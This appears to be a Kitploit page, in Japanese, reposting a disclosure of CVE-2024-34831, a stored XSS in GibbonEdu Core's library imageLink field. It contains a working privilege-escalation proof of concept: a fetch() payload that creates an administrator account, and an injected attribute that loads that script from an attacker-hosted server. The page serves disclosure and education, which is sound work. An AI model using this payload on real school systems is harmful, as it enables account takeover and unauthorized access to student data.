Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-34831 — CVE-2024-34831の開示 | Kitploit
ツール/GitHubGitHub/enzored/cve-2024-34831
特権昇格脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHubenzored/cve-2024-34831

CVE-2024-34831

CVE-2024-34831の開示

リポジトリを見る
1年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-34831 GibbonEdu Core v26.0.00 における XSS 脆弱性、特権昇格につながる

Gibbon は優れたオープンソースの本格的な学校管理システムです。かなり古いコードベースを刷新するために多大な努力が払われています。

Author: Christian Bajada

1. 脆弱性

新しい書籍を編集/送信する際の imageLink パラメータ (/modules/Library/library_manage_catalog_editProcess.php) は XSS に対して脆弱です。Manage Catalog 権限を持つユーザーはこの脆弱性を悪用し、より高いレベルの権限を持つユーザーに対して任意のスクリプトを実行させ、特権を昇格させることができます。

2. PoC シンプルなシナリオ

  1. Learn > Library > Manage Catalog に移動します。
  2. 書籍アイテムの1つを編集します。
  3. Image Link フィールドは適切にサニタイズされておらず、任意の JavaScript を実行できます。Image Link を [http://x](http://x/)" onerror='alert(1)' に変更すると、ライブラリページの読み込み時にアラートコードが実行されます。

Gibbon_XSS_1

Gibbon_XSS_1

3. 特権昇格の PoC

このセクションでは、単純な alert(1) ポップアップよりも危険な方法でこの脆弱性を利用する方法を説明します。ログイン中の管理者をだまして、攻撃者がアクセスできる別の管理者をシームレスに作成させます。

imageLink フィールドは小さすぎて、Gibbon プラットフォーム上で有意義な機能を呼び出すことはできません。できることは、JavaScript を別の場所にホストし、ブラウザにダウンロードさせて実行させることです。CSP がないため、これが可能になります。

  1. 悪意のあるユーザーは、以下のように管理者ユーザーを作成するペイロードを作成し、公開アクセス可能な場所(例:https://<yourserver.com>/payload.js)に配置します。以下のコードは、管理者によって実行されると、hexthecat という管理者ユーザーを作成します。このコードは Gibbon Core の機能を呼び出して、必要なすべてのパラメータとともに新しいユーザーを作成します。
root@kitploit:~
fetch('./modules/User%20Admin/user_manage_addProcess.php', { method: 'POST', body: new URLSearchParams({ title: 'Mr.', surname: 'Cat', firstName: 'Hex', preferredName: 'Hex', 'officialName' : 'Hex', gender: 'M', dob: '01/04/2024', gibbonRoleIDPrimary: '001', username: 'hexthecat', passwordNew: 'Hexed001', passwordConfirm: 'Hexed001', status: 'full', canLogin: 'Y', passwordForceReset: 'Y' }) });
  1. 悪意のある Manage Catalogue ユーザーは、次の imageLink を書籍に入力します(元の部分を保持し、スクリプト読み込み部分を追加します):

http://books.google.com/books?id=SluXuAAACAAJ&printsec=frontcover&img=1&zoom=1&source=gbs_api" onmouseover="$.getScript('https://<yourserver.com>/payload.js')"

  1. 管理者がライブラリを閲覧します。

管理者がライブラリカタログに移動するのを待つか、IM、メール、その他のチャネルで説得する必要があります。

本の画像にマウスをホバーする(onmouseover)と、ペイロードがその場所(この場合は <yourserver.com>)からフェッチされて実行されます。これにより管理者ユーザーが作成され、悪意のあるユーザーがアクセスできるようになります。'onerror' リスナーを使用すると、画像にホバーする代わりにペイロードを即座に実行することもできます。

作成されたユーザーはメニューの ADMIN > User Admin で確認できます。

Gibbon_XSS_2

4. 責任ある開示

責任ある開示ガイドライン https://github.com/GibbonEdu/core/security に従って公開されました。

  • 2024年5月6日: 脆弱性が報告され、GibbonEdu メンテナーによって確認されました。
  • 2024年5月15日: MITRE により CVE 番号が割り当てられました。
  • 2024年9月10日: アドバイザリが公開されました。
ツールをダウンロード